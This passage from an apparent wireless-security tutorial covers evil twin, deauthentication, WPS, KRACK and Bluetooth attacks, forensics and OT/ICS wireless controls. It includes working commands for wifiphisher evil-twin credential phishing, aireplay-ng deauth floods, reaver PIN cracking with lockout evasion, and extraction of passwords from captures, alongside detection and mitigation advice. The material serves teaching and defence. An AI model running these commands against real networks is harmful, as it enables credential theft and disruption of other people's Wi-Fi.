&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;wifiphisher 2&amp;gt;/dev/null &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    git clone https://github.com/wifiphisher/wifiphisher.git /opt/wifiphisher

&lt;span class="nb"&gt;sudo &lt;/span&gt;python3 /opt/wifiphisher/bin/wifiphisher &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-aI&lt;/span&gt; wlan0 &lt;span class="se"&gt;\ &lt;/span&gt;                    &lt;span class="c"&gt;# Interface for evil twin&lt;/span&gt;
    &lt;span class="nt"&gt;-jI&lt;/span&gt; wlan1 &lt;span class="se"&gt;\ &lt;/span&gt;                    &lt;span class="c"&gt;# Interface for jamming/deauth&lt;/span&gt;
    &lt;span class="nt"&gt;-p&lt;/span&gt; firmware-upgrade &lt;span class="se"&gt;\ &lt;/span&gt;          &lt;span class="c"&gt;# Phishing scenario (firmware upgrade page)&lt;/span&gt;
    &lt;span class="nt"&gt;--essid&lt;/span&gt; &lt;span class="s2"&gt;"CorpWiFi"&lt;/span&gt;             &lt;span class="c"&gt;# Target SSID&lt;/span&gt;

&lt;span class="c"&gt;# Phishing scenarios available in wifiphisher:&lt;/span&gt;
&lt;span class="c"&gt;# firmware-upgrade: "Router firmware is updating, enter WiFi password"&lt;/span&gt;
&lt;span class="c"&gt;# oauth-login: Fake OAuth screen for Google/Facebook login&lt;/span&gt;
&lt;span class="c"&gt;# wifi_connect: "Enter WiFi password to continue"&lt;/span&gt;
&lt;span class="c"&gt;# browser_plugin_update: Fake browser plugin update&lt;/span&gt;

&lt;span class="c"&gt;# Detection of evil twin attacks:&lt;/span&gt;
&lt;span class="c"&gt;# 1. Multiple APs with same SSID on different channels (legitimate = one channel)&lt;/span&gt;
&lt;span class="c"&gt;# 2. AP with same SSID but different BSSID from authorised list&lt;/span&gt;
&lt;span class="c"&gt;# 3. Client deauthentications without legitimate reason&lt;/span&gt;
&lt;span class="c"&gt;# 4. DNS queries being answered by unexpected IPs&lt;/span&gt;
&lt;span class="c"&gt;# 5. Certificate warnings on normally HTTPS-only sites (SSL stripping)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  9.4 Evil Twin Detection and Mitigation
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Client-side detection:&lt;/span&gt;
&lt;span class="c"&gt;# Check for unexpected SSL certificate changes:&lt;/span&gt;
&lt;span class="c"&gt;# Expected: cert from company CA&lt;/span&gt;
&lt;span class="c"&gt;# Evil twin SSL strip: no cert (HTTP)&lt;/span&gt;
&lt;span class="c"&gt;# Evil twin with fake cert: different CA, invalid cert&lt;/span&gt;

&lt;span class="c"&gt;# Enterprise WIDS detection:&lt;/span&gt;
&lt;span class="c"&gt;# - Multiple APs advertising same SSID on same channel (normal = one)&lt;/span&gt;
&lt;span class="c"&gt;# - SSID appears on unauthorised BSSID&lt;/span&gt;
&lt;span class="c"&gt;# - Deauthentication flood from non-AP addresses&lt;/span&gt;
&lt;span class="c"&gt;# - Client associations changing rapidly between similar BSSIDs&lt;/span&gt;

&lt;span class="c"&gt;# Monitor for evil twin with airodump-ng:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;airodump-ng wlan0mon &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/survey.txt
&lt;span class="c"&gt;# Look for same SSID appearing with different BSSID or on wrong channel&lt;/span&gt;

&lt;span class="c"&gt;# Corporate mitigation:&lt;/span&gt;
&lt;span class="c"&gt;# 1. 802.1X enterprise authentication:&lt;/span&gt;
&lt;span class="c"&gt;#    Evil twin cannot replicate RADIUS — clients see certificate error → don't connect&lt;/span&gt;
&lt;span class="c"&gt;# 2. Certificate pinning in corporate apps:&lt;/span&gt;
&lt;span class="c"&gt;#    Apps reject connections through MITM even if SSID/credentials are valid&lt;/span&gt;
&lt;span class="c"&gt;# 3. VPN kill switch:&lt;/span&gt;
&lt;span class="c"&gt;#    All traffic through corporate VPN → evil twin MITM only sees VPN traffic&lt;/span&gt;
&lt;span class="c"&gt;# 4. HSTS preloading:&lt;/span&gt;
&lt;span class="c"&gt;#    Browsers never downgrade HTTPS for preloaded domains → SSL strip fails&lt;/span&gt;
&lt;span class="c"&gt;# 5. Wireless IDS with automated alerts&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; The evil twin attack exploits the fact that clients auto-connect to known SSIDs without verifying AP identity. WPA2-PSK provides no protection — the evil twin knows the password (it was cracked or socially engineered). WPA2-Enterprise with server certificate validation is the defence: the fake RADIUS in an evil twin cannot present a valid certificate for your organisation's RADIUS server. VPN with kill switch is the ultimate mitigation: even if a client connects to an evil twin, all traffic is encrypted in the VPN tunnel.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  10. Additional Critical Wireless Attacks
&lt;/h2&gt;

&lt;h3&gt;
  
  
  10.1 Deauthentication and Disassociation Attacks
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;IEEE 802.11 Management Frames:
  Deauthentication (type 0x00, subtype 0x0C):
    Terminates an authenticated session
    Can be sent by: AP to disconnect client, client to disconnect from AP
    Unauthenticated: any device can forge a deauth frame as any sender

  Disassociation (type 0x00, subtype 0x0A):
    Terminates an associated session (less complete than deauth)
    Also unauthenticated

Attack: Forged Deauthentication
  Attacker sends deauth frames with AP's BSSID as source, targeting specific client
  Client receives "AP told me to disconnect" → disconnects
  Client attempts reconnection → handshake capture opportunity
  OR: continuous deauth → DoS against specific client or all clients

IEEE 802.11w (Management Frame Protection):
  Adds cryptographic authentication to management frames
  Deauth frames MIC-authenticated → forged deauths rejected
  Requirement: WPA3 requires 802.11w
  WPA2 with 802.11w: called "Protected Management Frames" (PMF)
  Status: 2019+ Wi-Fi Alliance requires PMF support, WPA3 mandates it
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Deauthentication attack:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;aireplay-ng &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--deauth&lt;/span&gt; 100 &lt;span class="se"&gt;\ &lt;/span&gt;                 &lt;span class="c"&gt;# Number of deauth packets (0 = infinite)&lt;/span&gt;
    &lt;span class="nt"&gt;-a&lt;/span&gt; AA:BB:CC:DD:EE:FF &lt;span class="se"&gt;\ &lt;/span&gt;        &lt;span class="c"&gt;# Target AP BSSID&lt;/span&gt;
    &lt;span class="nt"&gt;-c&lt;/span&gt; 11:22:33:44:55:66 &lt;span class="se"&gt;\ &lt;/span&gt;        &lt;span class="c"&gt;# Target client (omit for broadcast deauth)&lt;/span&gt;
    wlan0mon

&lt;span class="c"&gt;# Detect 802.11w capability (PMF):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;iw dev wlan0 scan | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-A5&lt;/span&gt; &lt;span class="s2"&gt;"BSS"&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s2"&gt;"protected"&lt;/span&gt;
&lt;span class="c"&gt;# or in airodump: check CIPHER column for CCMP with 802.11w support&lt;/span&gt;

&lt;span class="c"&gt;# Verify your network has PMF enabled:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;iw dev wlan0 info
&lt;span class="c"&gt;# And check hostapd config: ieee80211w=2 (required) or ieee80211w=1 (capable)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  10.2 WPS — Wi-Fi Protected Setup Attacks
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;WPS (Wi-Fi Protected Setup):
  Designed to simplify device connection to Wi-Fi
  Methods:
    PBC (Push Button): Press button on router, device connects automatically
    PIN: 8-digit PIN for authentication
    NFC: Near-field communication (rare)

WPS PIN Vulnerability (2011):
  8-digit PIN: 10^8 = 100,000,000 possible values (100M guesses worst case)
  But: AP validates PIN in two halves (first 4 digits, last 4 digits)
  First half: 10^4 = 10,000 guesses
  Second half: 10^3 = 1,000 guesses (last digit is checksum)
  Total: 11,000 guesses maximum → cracked in 2-10 hours

Pixie Dust Attack (2014, Dominique Bongard):
  WPS implementation bug: predictable random numbers used in DH exchange
  AP's random nonces are predictable from public values
  Full WPS PIN recovered offline from single exchange — seconds to minutes
  Affects: many Broadcom and Ralink chipset routers
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# WPS attack with Reaver:&lt;/span&gt;
&lt;span class="c"&gt;# Step 1: Find WPS-enabled APs:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;wash &lt;span class="nt"&gt;-i&lt;/span&gt; wlan0mon              &lt;span class="c"&gt;# Identifies WPS-enabled APs&lt;/span&gt;
&lt;span class="c"&gt;# Note: BSSID, ESSID, WPS Version, WPS Locked status&lt;/span&gt;

&lt;span class="c"&gt;# Step 2: Pixie Dust attack (fast, offline):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;reaver &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-i&lt;/span&gt; wlan0mon &lt;span class="se"&gt;\ &lt;/span&gt;                 &lt;span class="c"&gt;# Monitor mode interface&lt;/span&gt;
    &lt;span class="nt"&gt;-b&lt;/span&gt; AA:BB:CC:DD:EE:FF &lt;span class="se"&gt;\ &lt;/span&gt;       &lt;span class="c"&gt;# Target AP BSSID&lt;/span&gt;
    &lt;span class="nt"&gt;-vv&lt;/span&gt; &lt;span class="se"&gt;\ &lt;/span&gt;                         &lt;span class="c"&gt;# Verbose output&lt;/span&gt;
    &lt;span class="nt"&gt;-K&lt;/span&gt; 1 &lt;span class="se"&gt;\ &lt;/span&gt;                        &lt;span class="c"&gt;# Pixie Dust mode&lt;/span&gt;
    &lt;span class="nt"&gt;-c&lt;/span&gt; 6                           &lt;span class="c"&gt;# Channel&lt;/span&gt;

&lt;span class="c"&gt;# Step 3: If Pixie Dust fails, brute force PIN:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;reaver &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-i&lt;/span&gt; wlan0mon &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-b&lt;/span&gt; AA:BB:CC:DD:EE:FF &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-vv&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-c&lt;/span&gt; 6 &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-d&lt;/span&gt; 2 &lt;span class="se"&gt;\ &lt;/span&gt;                        &lt;span class="c"&gt;# Delay between attempts (avoid lockout)&lt;/span&gt;
    &lt;span class="nt"&gt;-r&lt;/span&gt; 3:60                        &lt;span class="c"&gt;# Rate limit: 3 attempts per 60 seconds&lt;/span&gt;

&lt;span class="c"&gt;# WPS lockout: many APs lock WPS after ~10 failures&lt;/span&gt;
&lt;span class="c"&gt;# Bully is an alternative to Reaver: sudo apt install bully&lt;/span&gt;

&lt;span class="c"&gt;# Defence: Disable WPS entirely on all access points&lt;/span&gt;
&lt;span class="c"&gt;# Router admin → Wireless → WPS → Disable&lt;/span&gt;
&lt;span class="c"&gt;# Even with WPS "disabled", some firmware still responds to WPS probes&lt;/span&gt;
&lt;span class="c"&gt;# Verify with: sudo wash -i wlan0mon (should not show WPS on secured AP)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  10.3 KRACK — Key Reinstallation Attack (2017)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CVE-2017-13077 through CVE-2017-13086
Discovered by: Mathy Vanhoef
Severity: All WPA2 implementations

How KRACK Works:
  WPA2 4-way handshake — Message 3 (AP → Client):
    Contains GTK (Group Temporal Key)
    AP may retransmit if no ACK received
    Each retransmission uses same ANonce

  Attack:
    Attacker intercepts Message 3
    Prevents Client from acknowledging → AP retransmits Message 3
    Attacker can replay Message 3 multiple times

  Key Reinstallation:
    Receiving Message 3 again causes client to reinstall PTK with same key
    Nonce (counter) reset to initial value

  Nonce Reuse + AES-CCMP:
    AES-CCMP nonce is the packet counter
    Nonce reuse allows keystream recovery (similar to WEP)
    → Attacker can decrypt traffic

Impact by platform:
  Linux/Android: Used all-zeros key after reinstallation (catastrophic)
  Windows/iOS: Partial vulnerability (limited practical impact)

KRACK was patched in OS updates (2017-2018)
Legacy unpatched devices remain vulnerable (OT concern)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  10.4 Bluetooth Security — Brief Overview
&lt;/h3&gt;

&lt;p&gt;Bluetooth uses the 2.4 GHz ISM band, shares spectrum with Wi-Fi, and has its own security architecture relevant to OT/ICS.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Bluetooth Attack Surface:
  BlueBorne (2017, Armis Research):
    Remote code execution via Bluetooth WITHOUT PAIRING
    Attacker in range → exploit → RCE as highest privilege
    Affected: Linux, Android, Windows, iOS (before patch)
    ~5.3 billion devices affected at disclosure

  Bluesnarfing:
    Unauthorised access to Bluetooth device data
    Contact list, messages, calendar without pairing

  Bluejacking:
    Send unsolicited messages to Bluetooth devices
    Social engineering vector

  Eavesdropping:
    Capture Bluetooth traffic with custom hardware
    Ubertooth One: open-source Bluetooth monitor
    Most Bluetooth uses frequency hopping (1600 hops/second)
    Monitoring requires hardware that can follow hops

OT Relevance:
  Bluetooth used for:
    Field device configuration (handheld terminals for HART, PROFIBUS)
    Wireless sensors (industrial IoT)
    Worker safety devices (fall detection, gas detection)

  Security concern: Bluetooth field configuration tool paired to PLC
  Attacker with BlueBorne exploit → RCE on configuration tool →
  access to PLC programming interface
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  11. Wireless Forensics and Detection
&lt;/h2&gt;

&lt;h3&gt;
  
  
  11.1 Wireless Evidence Collection
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Comprehensive wireless monitoring setup:&lt;/span&gt;

&lt;span class="c"&gt;# 1. Enable monitor mode:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;airmon-ng check &lt;span class="nb"&gt;kill
sudo &lt;/span&gt;airmon-ng start wlan0
&lt;span class="c"&gt;# Result: wlan0mon&lt;/span&gt;

&lt;span class="c"&gt;# 2. Full packet capture (all channels, all traffic):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;airodump-ng &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-w&lt;/span&gt; /tmp/wireless_evidence &lt;span class="se"&gt;\ &lt;/span&gt;    &lt;span class="c"&gt;# Output prefix (creates .cap, .csv, .kismet.netxml)&lt;/span&gt;
    &lt;span class="nt"&gt;--output-format&lt;/span&gt; pcap,csv,netxml &lt;span class="se"&gt;\ &lt;/span&gt; &lt;span class="c"&gt;# Multiple output formats&lt;/span&gt;
    wlan0mon                         &lt;span class="c"&gt;# Monitor interface&lt;/span&gt;

&lt;span class="c"&gt;# 3. Targeted capture (specific AP):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;airodump-ng &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--bssid&lt;/span&gt; AA:BB:CC:DD:EE:FF &lt;span class="se"&gt;\ &lt;/span&gt;    &lt;span class="c"&gt;# Target AP&lt;/span&gt;
    &lt;span class="nt"&gt;--channel&lt;/span&gt; 6 &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--manufacturer&lt;/span&gt; &lt;span class="se"&gt;\ &lt;/span&gt;                 &lt;span class="c"&gt;# Show manufacturer info&lt;/span&gt;
    &lt;span class="nt"&gt;-w&lt;/span&gt; /tmp/target_capture &lt;span class="se"&gt;\&lt;/span&gt;
    wlan0mon

&lt;span class="c"&gt;# 4. Kismet for comprehensive WIDS/forensics:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;kismet
&lt;span class="nb"&gt;sudo &lt;/span&gt;kismet &lt;span class="nt"&gt;-c&lt;/span&gt; wlan0mon &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--log-title&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"Wireless Survey"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--log-types&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;kismet,pcapng,csv

&lt;span class="c"&gt;# 5. GPS correlation (wardriving):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;kismet &lt;span class="nt"&gt;-c&lt;/span&gt; wlan0mon &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--use-gpsd&lt;/span&gt;                       &lt;span class="c"&gt;# Connect to GPSD for location data&lt;/span&gt;

&lt;span class="c"&gt;# Extract useful data from capture:&lt;/span&gt;
&lt;span class="c"&gt;# All unique BSSIDs:&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; capture.pcap &lt;span class="nt"&gt;-T&lt;/span&gt; fields &lt;span class="nt"&gt;-e&lt;/span&gt; wlan.bssid | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s2"&gt;"^$"&lt;/span&gt;

&lt;span class="c"&gt;# All unique SSIDs:&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; capture.pcap &lt;span class="nt"&gt;-T&lt;/span&gt; fields &lt;span class="nt"&gt;-e&lt;/span&gt; wlan.ssid | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s2"&gt;"^$"&lt;/span&gt;

&lt;span class="c"&gt;# Probe requests (what networks are clients looking for):&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; capture.pcap &lt;span class="nt"&gt;-Y&lt;/span&gt; &lt;span class="s2"&gt;"wlan.fc.type_subtype == 4"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-T&lt;/span&gt; fields &lt;span class="nt"&gt;-e&lt;/span&gt; wlan.ta &lt;span class="nt"&gt;-e&lt;/span&gt; wlan.ssid

&lt;span class="c"&gt;# Authentication frames (track connection events):&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; capture.pcap &lt;span class="nt"&gt;-Y&lt;/span&gt; &lt;span class="s2"&gt;"wlan.fc.type_subtype == 11 or wlan.fc.type_subtype == 0"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  11.2 Forensic Analysis of Captured Traffic
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Decrypt WPA2 traffic in Wireshark (if password known):&lt;/span&gt;
&lt;span class="c"&gt;# Edit → Preferences → Protocols → IEEE 802.11&lt;/span&gt;
&lt;span class="c"&gt;# Enable: "Enable decryption"&lt;/span&gt;
&lt;span class="c"&gt;# Add: Decryption key — "wpa-pwd" type, "Password:SSID" format&lt;/span&gt;
&lt;span class="c"&gt;# Example: "MyPassword123:CorpWiFi"&lt;/span&gt;

&lt;span class="c"&gt;# Command line decryption with airdecap-ng:&lt;/span&gt;
airdecap-ng &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s2"&gt;"MyPassword123"&lt;/span&gt; &lt;span class="se"&gt;\ &lt;/span&gt;            &lt;span class="c"&gt;# WPA2 password&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"CorpWiFi"&lt;/span&gt; &lt;span class="se"&gt;\ &lt;/span&gt;                 &lt;span class="c"&gt;# SSID&lt;/span&gt;
    capture.cap                      &lt;span class="c"&gt;# Input capture&lt;/span&gt;

&lt;span class="c"&gt;# Decrypt WEP traffic:&lt;/span&gt;
airdecap-ng &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-w&lt;/span&gt; 1A2B3C4D5E &lt;span class="se"&gt;\ &lt;/span&gt;                &lt;span class="c"&gt;# WEP key in hex&lt;/span&gt;
    capture.cap

&lt;span class="c"&gt;# Extract HTTP credentials from decrypted capture:&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; decrypted.cap &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-Y&lt;/span&gt; &lt;span class="s2"&gt;"http.request.method == POST"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-T&lt;/span&gt; fields &lt;span class="nt"&gt;-e&lt;/span&gt; http.request.uri &lt;span class="nt"&gt;-e&lt;/span&gt; http.file_data

&lt;span class="c"&gt;# Find all passwords in capture:&lt;/span&gt;
strings capture.cap | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"password|passwd|pwd|pass"&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-20&lt;/span&gt;

&lt;span class="c"&gt;# Analyse timeline of wireless events:&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; capture.cap &lt;span class="nt"&gt;-T&lt;/span&gt; fields &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; frame.time &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; wlan.fc.type_subtype &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; wlan.sa &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; wlan.da &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-Y&lt;/span&gt; &lt;span class="s2"&gt;"wlan.fc.type == 0"&lt;/span&gt; |        &lt;span class="c"&gt;# Management frames only&lt;/span&gt;
    &lt;span class="nb"&gt;sort&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  12. Wireless in OT/ICS Environments
&lt;/h2&gt;

&lt;h3&gt;
  
  
  12.1 Industrial Wireless Technologies
&lt;/h3&gt;

&lt;p&gt;Industrial wireless is fundamentally different from enterprise Wi-Fi in its requirements and therefore its security profile:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Industrial Wireless Technologies:

IEEE 802.11 (Standard Wi-Fi):
  Use: Engineering workstations, HMI tablets, operator interface
  Security: Should use WPA2-Enterprise or WPA3
  Risk: Same as enterprise wireless, plus physical security gaps

WirelessHART (IEC 62591):
  Purpose: Wireless sensor measurements (process variables: pressure, temperature, flow)
  Frequency: 2.4 GHz, IEEE 802.15.4 DSSS
  Topology: Mesh network, self-healing
  Security: AES-128 encryption, device authentication via join keys
  Range: 50-200m per hop, mesh extends to kilometre scale
  OT use: Field sensor data without wiring (common in oil/gas, chemical)

ISA100.11a (IEC 62734):
  Purpose: Similar to WirelessHART — industrial sensor networking
  Frequency: 2.4 GHz
  Security: AES-128, PKI-based device certificates

Zigbee (IEEE 802.15.4):
  Purpose: Building automation, smart energy, industrial monitoring
  Frequency: 2.4 GHz (also 868/915 MHz)
  Topology: Star, tree, mesh
  Security: AES-128 (but poor key management in many deployments)
  Range: 10-100m

PROFIBUS Wireless (proprietary):
  Some vendors offer wireless extensions to PROFIBUS
  Typically 2.4 or 5 GHz
  Security: varies by vendor, often minimal

Bluetooth (IEEE 802.15.1):
  Use: Field device configuration (HART, PROFIBUS parameter setting)
  Range: typically &amp;lt;10m for Class 2
  Security: pairing-based (vulnerable to BlueBorne if unpatched)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  12.2 OT Wireless Security Challenges
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Challenge 1: Air-Gap Expectation vs Reality
  Many OT networks are assumed to be air-gapped (no wireless)
  Reality: wireless is often present:
    - Engineering workstations connected to corporate WiFi
    - Vendor-installed wireless for remote monitoring
    - Employee hotspots
    - Wireless sensors added "temporarily"

  Assessment action: Always scan for wireless in OT environments
  Even "air-gapped" environments should be surveyed

Challenge 2: Legacy Protocol Security
  WirelessHART: AES-128 correctly implemented — acceptable
  Zigbee: AES-128 but key management often broken:
    Default install keys well-known
    Key transport often in cleartext
    Many deployments use same global link key across all devices

Challenge 3: Update-Resistant Hardware
  Industrial wireless gateways and access points:
    Long lifecycles (10-20 years)
    Vendor must validate firmware before deployment
    Emergency patches rare
    Known vulnerabilities may remain unpatched for years

Challenge 4: Physical Exposure
  Field sensors in remote locations
  Wireless gateway in unsecured enclosures
  Physical access → firmware extraction, configuration modification

Challenge 5: Channel Interference
  Industrial equipment generates RF interference (motor drives, welders)
  Interference patterns can affect wireless reliability
  Attackers can use interference as DoS against wireless sensors
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  12.3 OT Wireless Security Controls
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;NERC CIP (Energy Sector) wireless requirements:
  CIP-005-6: Electronic Security Perimeter must include wireless
  Access points that connect to BES Cyber Systems must be protected
  Wireless access = electronic access point requiring controls

IEC 62443 wireless guidance:
  Zone and conduit model applies to wireless
  Wireless sensors in a zone: must be protected at zone boundary
  Wireless AP: acts as conduit between zones

Practical OT wireless controls:

1. Network Segmentation:
   OT wireless AP should NOT directly connect to process network
   OT wireless → DMZ → [Firewall] → Process Network
   Sensor data: one-way data flow from wireless network to process network

2. Wireless Sensor Security:
   WirelessHART: deploy with unique join keys per device (not default)
   Zigbee: use unique link keys, disable trust center link key sharing
   Rotate keys periodically

3. Employee WiFi:
   Separate SSID/VLAN for engineering workstations
   No direct routing to process control network
   All access through jump server in DMZ

4. Wireless Survey:
   Quarterly RF survey to detect rogue APs
   Survey from outside the facility (what's visible externally?)
   Document all authorised wireless assets

5. Physical Security:
   Wireless field devices in lockable enclosures
   Wireless APs in secured locations or in tamper-evident enclosures
   GPS tracking on mobile wireless devices
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# OT wireless security assessment:&lt;/span&gt;

&lt;span class="c"&gt;# 1. Survey wireless landscape (from outside building if possible):&lt;/span&gt;
&lt;span class="c"&gt;# Long-range adapter + directional antenna:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;airodump-ng &lt;span class="nt"&gt;--band&lt;/span&gt; abg wlan0mon &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/wireless_inventory.txt

&lt;span class="c"&gt;# 2. Identify industrial wireless (2.4 GHz mesh characteristics):&lt;/span&gt;
&lt;span class="c"&gt;# WirelessHART: looks for 802.15.4 traffic (requires SDR or specialised adapter)&lt;/span&gt;
&lt;span class="c"&gt;# Standard 802.11 survey won't see Zigbee/WirelessHART directly&lt;/span&gt;

&lt;span class="c"&gt;# 3. Check for OT SSIDs that shouldn't be wireless:&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-iE&lt;/span&gt; &lt;span class="s2"&gt;"scada|plc|ot|control|historian|hmi"&lt;/span&gt; /tmp/wireless_inventory.txt

&lt;span class="c"&gt;# 4. Check Zigbee networks (requires 802.15.4 capable hardware):&lt;/span&gt;
&lt;span class="c"&gt;# KillerBee framework for Zigbee analysis:&lt;/span&gt;
&lt;span class="c"&gt;# sudo apt install killerbee&lt;/span&gt;
&lt;span class="c"&gt;# zbstumbler                      # Discover Zigbee networks&lt;/span&gt;
